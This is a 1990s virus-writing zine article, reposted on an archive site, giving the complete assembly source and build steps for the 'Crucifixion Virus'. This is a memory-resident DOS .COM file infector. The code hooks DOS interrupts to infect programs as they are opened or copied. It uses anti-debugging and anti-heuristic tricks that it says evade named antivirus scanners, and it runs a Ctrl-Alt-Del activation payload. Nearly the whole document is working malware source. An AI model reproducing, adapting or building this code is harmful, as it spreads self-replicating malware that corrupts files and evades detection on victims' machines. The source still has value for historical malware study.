Copy Link
Add to Bookmark
Report

Revel_1.006: Crucifixion Virus, by Jesus

eZine's profile picture
Published in 
Revelation
 · 20 Feb 2022

;…ÕÕ----                                                   ----ÕÕª 
;∫ (rucifixion Virus 1.0 ∫
;≥ "If You're The Messiah And Ya Know It" ≥
;≥ Created by ≥
; Jesus of The Trinity
; ‹ ‹
; fl€fl fl€fl
; € €
; "Let the Christ, the King of Israel,
; Descend now from the cross,
; That we may see and believe"
; - Mark 15:32
;
; Features
; ÕÕÕÕÕÕÕÕÕÕ
; Memory resident appending .COM infector
; -------------------------------------------
; Not detected by F-Prot/TBAV with heuristics
; (sets off NO flags)
; ---------------------
; Infects .COM files when they are copied
; or scanned by some programs (F-Prot)
; ----------------------------------------
; Anti-debugging/disassembling code included
; ----------------------------------------------
; File attributes, time, and date remain intact
; ----------------------------------------------
; Int 24h critical error handling enabled
; -----------------------------------------
; And of course, one hell of a cool activation routine!
;≥ Activates on Sundays during March and April of any year ≥
;≥ when the system is rebooted using CTRL-ALT-DEL. ≥
;∫ -------------------------------------------------- ∫
;»ÕÕ---- ----ÕÕº

;This virus needs a four byte stub file for its first generation.
;Simply make a file of 4 nops in debug and save it, then merge the two
;files with somethin' like "copy /b stub.com+cruc.com crucifix.com".


.model tiny
.radix 16
.code

org 100
Crucifixion:
call Displacement

DitchDebuggers: ;And heuristics....
push di
mov di,si
add di,(Trap1-crucifixion-3)
mov ah,0cdh
xchg [di],ah ;Cause some heuristics and debuggers to
Trap1: ;terminate right here.....
mov bx,2090 ;<----
xchg [di],ah
pop di

jmp short RestoreComHost
Trap2 db 9a

RestoreComHost:
add si,(Storagebytes-crucifixion-3)

jmp short Trap3
db 0b8
Trap3:
movsw
movsw

SetupAllocation:
push ds
pop ax
dec ax
dec ax
mov ds,ax
inc ax

CheckIfInstalled:
cmp byte ptr ds:[10],'Z' ;Will not go memory res. if it is not
jne ExitCrucifixion ;in the last block of memory.


ModCurrentMCB:
sub word ptr ds:[13],(endcruc-Crucifixion)/10+3
add ax,word ptr ds:[13]
mov byte ptr ds:[10],'M'
inc ax
mov es,ax
inc ax

CreateNewMCB:
mov word ptr es:[8],'eJ'
mov word ptr es:[1],ax
mov word ptr es:[0a],'uS'
mov byte ptr es:[0],'Z'
mov word ptr es:[0c],'S'
mov word ptr es:[3],(endcruc-Crucifixion)/10+1

CopyVirus:
sub ax,10
mov es,ax
mov di,100
sub si,(EndStorage-Crucifixion)-20
mov cx,EndCruc-Crucifixion
repnz movsb

HookInts:
xor ax,ax
mov ds,ax
cli
mov ax,offset Int21h
xchg word ptr ds:[84],ax
mov word ptr es:[Old21],ax
mov ax,es ;Int 21h
xchg word ptr ds:[86],ax
mov word ptr es:[Old21+2],ax

mov ax,offset Int09
xchg word ptr ds:[9*4],ax
mov word ptr es:[Old09],ax ;Int 09h
mov ax,es
xchg word ptr ds:[9*4+2],ax
mov word ptr es:[Old09+2],ax
sti


ExitCrucifixion:
push cs cs
pop es ds
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov si,100
ret

Displacement:
mov di,sp
mov si,[di]
sub sp,2
mov [di-2],si
mov word ptr [di],100
mov di,[di]
ret

StorageBytes db 0cdh,20,90,90
EndStorage:

Jmpbytes db 0e9,0,0,'≈' ;The cross is out ID byte ;)

db 0ea
Int21h:
cmp ah,6c ;This one is used by copy and similar progs.
je DosOpenFile
ExitInt21h:
db 0ea
Old21 dd 0

db 0b8
DosOpenFile:
push ax bx cx es dx di ds si
call Set24 ;Set Error Handler

mov dx,si
FindStringEnd:
lodsb
or al,al
jnz FindStringEnd

cmp word ptr [si-4],'OC'
jne DontInfect
cmp word ptr [si-2],'M'
je InfectFile

DontInfect:
jmp ExitFile

InfectFile:
mov ax,43
call call21 ;Get old attributes
mov cs:[attribs],cx

xor cx,cx
mov ax,143 ;set 'em to zero
call call21

mov ax,023dh
call call21
push cs
pop ds
jc ExitFile ;open file read/write
xchg bx,ax

mov ax,57
call call21
mov word ptr [TimeDate],cx ;save time/date
mov word ptr [TimeDate+2],dx

mov dx,offset StorageBytes
mov al,3f ;read in beginning of prog
mov cx,4
call call21

cmp byte ptr [Storagebytes+3],'≈'
je CloseFile ;Check if already infected

mov ax,word ptr [Storagebytes]
xor ah,al ;Check if .EXE file
cmp ah,17
je CloseFile

mov ax,0242
call MoveFP ;go to the end of file

cmp ax,0ff00h-(endCruc-Crucifixion) ;Make sure size is small enough
jae CloseFile ;that we don't push it > 64k

add ax,-3
mov word ptr [jmpbytes+1],ax ;calculate jump size

mov cx,endCruc-Crucifixion
mov dx,100
mov al,40 ;append virus
call call21

mov ax,42 ;go to beginning of program
call MoveFP

mov al,40
mov dx,offset jmpbytes
mov cx,4 ;write in jump and ID
call call21

CloseFile:
mov word ptr cx,[TimeDate]
mov word ptr dx,[TimeDate+2]
mov ax,157 ;restore time/date
call call21

mov al,3e
call call21 ;close it

pop dx ds
push ds dx
mov ax,143
mov cx,word ptr cs:[Attribs] ;restore attribs
call call21


ExitFile:
call Reset24 ;Restore Error Handler
pop si ds di dx es cx bx ax
jmp ExitInt21h

MoveFP:
xor cx,cx
xor dx,dx
call call21
ret

Call21:
xchg ah,al
pushf
call dword ptr cs:[Old21]
ret

db 0b1
Set24:
push ds ax
xor ax,ax
mov ds,ax
mov ax,offset Int24
xchg ax,word ptr ds:[24*4]
mov word ptr cs:[Old24],ax ;set up critical error handler
mov ax,cs
xchg ax,word ptr ds:[24*4+2]
mov word ptr cs:[Old24+2],ax
pop ax ds
ret

db 0e9
Reset24:
push ds ax
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[Old24]
mov word ptr ds:[24*4],ax ;restore old critical error handler
mov ax,word ptr cs:[Old24+2]
mov word ptr ds:[24*4+2],ax
pop ax ds
ret


Int24:
mov al,3 ;return a "Fail" on errors
iret
Old24 dd 0

db 0ea



Int09:
push ax
in al,60
cmp al,53 ;Is DEL, lets check for Control-Alt
je IsDEL
NotAReboot:
pop ax

GoInt09:
db 0ea
Old09 dd 0

IsDEL:
push ds
sub ax,ax
mov ds,ax
mov al,byte ptr ds:[417]
pop ds
and al,1100b
cmp al,0c
jne NotAReboot


IsDefinitelyReboot:
mov al,2a
call call21 ;Get Date
or al,al
jnz RebootComp ;Is it sunday?
cmp dh,3
jb RebootComp ;Is it in march?
cmp dh,4
ja RebootComp ;or april?

call CrucifixionActivation

RebootComp:
db 0ea,0,0,0ff,0ff ;cold reboot

Old_SS dw 0
Old_SP dw 0

CrucifixionActivation:
mov ax,sp
mov cs:[Old_sp],ax
mov ax,ss
mov cs:[Old_SS],ax
cli
mov ax,cs
mov ss,ax
mov sp,offset EndCruc
sti
SetScreen:
mov ax,13
int 10

push cs cs
pop es ds

SetColors:
mov ax,1012
xor bx,bx
mov cx,08
mov dx,offset ColorData
int 10

DoTitle:
mov dx,09
call setcurs
mov si,offset Vname
call WriteIt
mov dx,0103
call setcurs
mov si,offset credits
call writeit

SetupPic:
push cs
pop ds
mov si,offset StartCross
mov di,0a000
mov es,di

mov di,3640
call DrawIt

GetKey:
call DoMusic

DoneGraphics:
mov ax,3
int 10

call Speaker_On
mov cx,100
FallingSound:
mov ax,cx
call Out_Sound
call delay
add cx,200
cmp cx,1a00
jb FallingSound
call Turn_Off_Speaker

RestoreStack:
cli
mov ax,word ptr cs:[Old_SS]
mov ss,ax
mov ax,word ptr cs:[Old_SP]
mov sp,ax
sti
ret

DrawIT:
mov bp,di
DrawLoop:
lodsb
cmp al,0ff
je Line
cmp al,0
je Eol
stosb
jmp DrawLoop
Line:
lodsb ;get color
xchg cx,ax ;save in cl
xor ah,ah ;zero ah
lodsb ;get line length
xchg cx,ax ;put color in al and length into cx
repnz stosb
jmp DrawLoop
Eol:
cmp byte ptr [si],0
je DoneDraw
mov di,bp
add di,320d
jmp Drawit

DoneDraw:
ret

WriteIt:
lodsb
or al,al
jz DoneWrite
mov bx,4
mov ah,0e
int 10
jmp WriteIt
DoneWrite:
ret

setcurs:
mov ah,02
mov bh,0 ;Set cursor
int 10
ret


IfYourThe:
push si
mov si,offset Lyrics1
DoLyric:
mov dx,1001
call setcurs
call WriteIt
pop si
jmp PlayMusic

ClapYour:
push si
mov si,offset Lyrics2
jmp DoLyric

YourFace:
push si
mov si,offset Lyrics3
jmp DoLyric


DoMusic:
push cs
pop ds
mov si,offset MusicData
PlayMusic:
lodsw
cmp ax,0
je DoneMusic
cmp ax,1
je TurnItOn
cmp ax,2
je TurnItOff
cmp ax,-1
je WaitSome
cmp ax,-2
je Scree
cmp ax,3
je IfYourThe
cmp ax,4
je CLapYour
cmp ax,5
je YourFace
cmp ax,6
je TheClap
call Out_Sound
jmp PlayMusic

DoneMusic:
ret

TurnItOn:
call Speaker_On
jmp PlayMusic
TurnItOff:
call Turn_Off_Speaker
jmp PlayMusic
WaitSome:
mov cx,3
WaitMore:
call delay
loop WaitMore
jmp PlayMusic


TheClap:
push es ds si di
mov si,offset Arms3
je DoArms3


Scree:
push es ds si di

DoArms2:
mov si,offset Arms2
DoArms3:
mov di,0a000
mov es,di
mov di,3640+320d*10d
call DrawIt


call Speaker_On

mov cx,400
cmp si,offset Arms3
ja MakeScreech
mov cx,8000
MakeScreech:
mov ax,cx
call Out_Sound
call delay
sub cx,3f
cmp si,offset Arms3
ja LowCheck
cmp cx,7f00
ja MakeScreech
call Turn_Off_Speaker
jmp short DoArms1
LowCheck:
cmp cx,300
ja MakeScreech
call Turn_Off_Speaker

DoArms1:
mov si,offset Arms1
mov di,0a000
mov es,di
mov di,3640+320d*10d
call DrawIt

pop di si ds es
jmp PlayMusic

delay:
push ax ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c]
waiter:
cmp ax,word ptr ds:[46c]
je waiter
pop ds ax
ret

Turn_Off_Speaker:
in al,61h
and al,0FCh
out 61h,al
ret

Speaker_On:
in al,61h
or al,3
out 61h,al ;Turn on speaker
mov al,0B6h
out 43h,al
ret
Out_Sound:
out 42h,al
mov al,ah
out 42h,al
ret


ColorData:
db 0,0,0,32,1f,13,1bh,12,9,12,0e,6,19,0,0,2a,1a,10,0,13,0,0,0,18


;Picture Data
; 0ff marks line, 0 marks eol
;
; Line Format:
; 0ffh, color, length
;
;double 0 marks eof

StartCross:
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,3,3,3,0ff,2,5,3,3,0
db 0ff,0,18d,3,3,6,0ff,2,5,6,3,0
db 0ff,0,18d,3,3,2,6,2,6,2,6,2,3,0
db 0ff,0,18d,3,3,2,1,7,1,7,1,2,3,0
db 0ff,0,18d,3,3,2,0ff,1,5,2,3,0
db 0ff,0,18d,3,3,2,1,5,5,5,1,2,3,0
db 0ff,0,18d,3,3,2,2,1,1,1,2,2,3,0
db 0ff,3,20d,2,2,1,1,1,2,2,0ff,3,18d,0
db 3,3,3,5,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,5,3,3,0
db 3,3,5,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,5,5,3,0
db 3,5,4,3,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,3,4,5,0
db 3,3,5,4,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,4,5,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0
db 0ff,3,20d,5,0ff,1,5,5,3,0ff,3,17d,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,3,5,0ff,1,5,5,3,0
db 0ff,0,18d,3,2,5,0ff,1,5,5,2,0
db 0ff,0,18d,3,0ff,2,09,0
db 0ff,0,18d,0ff,2,0a,0
db 0ff,0,18d,0ff,2,0a,0
db 0ff,0,18d,0ff,2,5,1,2,2,2,1,2,0
db 0ff,0,18d,2,2,2,2,1,2,2,2,1,2,2,0
db 0ff,0,18d,2,5,2,1,1,5,2,1,1,2,2,0
db 0ff,0,18d,2,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,5,1,1,1,5,1,1,1,5,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,5,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,5,1,1,5,1,1,5,3,0
db 0ff,0,18d,3,3,4,3,4,5,4,3,4,3,0
db 0ff,0,18d,3,3,5,4,5,5,5,4,5,3,0
db 0ff,0,18d,3,3,3,0ff,5,5,3,3,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0
db 0ff,0,18d,0ff,3,0a,0,0
endcross:

Arms1:
db 3,3,3,5,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,5,3,3,0
db 3,3,5,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,5,5,3,0
db 3,5,4,3,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,3,4,5,0
db 3,3,5,4,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,4,5,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0,0
EndArms1:

Arms2:
db 3,3,3,3,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,3,3,3,0
db 3,3,3,5,5,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,5,3,3,3,0
db 3,3,3,5,4,0ff,5,7,0ff,1,7,2,2,2,1,1,1,2,2,2,0ff,1,7,0ff,5,6,4,5,3,3,0
db 3,3,3,5,5,0ff,1,15d,2,2,1,1,1,2,2,0ff,1,14d,5,5,3,3,0
db 3,3,3,0ff,5,17d,0ff,1,7,0ff,5,16d,3,3,0,0
EndArms2:

Arms3:
db 3,3,3,3,0ff,3,13d,5,5,2,2,2,1,1,1,2,2,2,5,5,0ff,3,12d,3,3,3,0
db 3,3,3,3,3,0ff,3,7,0ff,5,6,1,2,2,2,1,1,1,2,2,2,1,0ff,5,6,0ff,3,6,3,3,3,3,0
db 3,3,3,3,3,0ff,5,7,0ff,5,7,2,2,2,5,5,5,2,2,2,0ff,5,7,0ff,5,6,3,3,3,3,0
db 3,3,3,3,3,3,3,3,0ff,5,12d,2,2,4,4,4,2,2,0ff,5,12d,3,3,3,3,3,3,0
db 3,3,3,0ff,3,10d,0ff,5,10d,4,4,0ff,5,10d,0ff,3,0a,0,0
EndArms3:



;Music Data
; 1 = Turn On Speaker 2 = Turn Off Speaker
;-1 = Pause -2 = Screech
; 0 = End of data
;
; 3 = lyrics #1
; 4 = lyrics #2
; 5 = lyrics #3
; 6 = final clap
;Most other numbers taken as data for outputting to Timer
;
MusicData:

;If you're the messiah and you know it
dw 3
dw 1,1473d,-1,2,1,1473d,-1,2,1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2
dw 1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2

;clap your hands
dw 4
dw 1,1193d,-1,2,1,1084d,-1,2,1,994d,-1,2

;Scree! Scree!
dw -1,-2,-1,-2,-1

;If you're the messiah and you know it
dw 3
dw 1,1473d,-1,2,1,1473d,-1,2,1,994d,-1,2,1,994d,-1,2,1,994d,-1,2
dw 1,994d,-1,2,1,994d,-1,2,1,994d,-1,2

;clap your hands
dw 4
dw 1,1084d,-1,2,1,994d,-1,2,1,883d,-1,2

;Scree! Scree!
dw -1,-2,-1,-2,-1

;If you're the messiah and you know it
dw 3
dw 1,1084d,-1,2,1,883d,-1,2,1,822d,-1,2,1,822d,-1,2,1,822d,-1,2
dw 1,883d,-1,2,1,1325d,-1,2,1,1325d,-1,2

;Then your face will surely show it
dw 5
dw 1,822d,-1,2,1,994d,-1,2,1,883d,-1,2,1,883d,-1,2,1,883d,-1,2
dw 1,994d,-1,2,1,1084d,-1,2,1,1084d,-1,2

;If you're the messiah and you know it
dw 3
dw 1,1084d,-1,2,1,883d,-1,2
dw 1,994d,-1,2,1,994d,-1,2,1,994d,-1,2,1,1084d,-1,2,1,1193d,-1,2
dw 1,1193d,-1,2

;clap your hands
dw 4
dw 1,1325d,-1,2,1,1193d,-1,2,1,1084d,-1,2

;Scree! Scree!
dw -1,6,-1,6,-1,0

Lyrics1 db 'If you''re the Messiah and you know it,',0
Lyrics2 db ' Clap your hands! ',0
Lyrics3 db ' Then your face will surely show it, ',0

Vname db '(rucifixion Virus 1.0',0
Credits db '(c) 1994, by Jesus of The Trinity',0

Attribs dw 0
TimeDate dw 0,0

MyStack dw 40 dup(0) ;dunno if this is needed, but it don't
;crash no more....
endCruc:
end Crucifixion

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT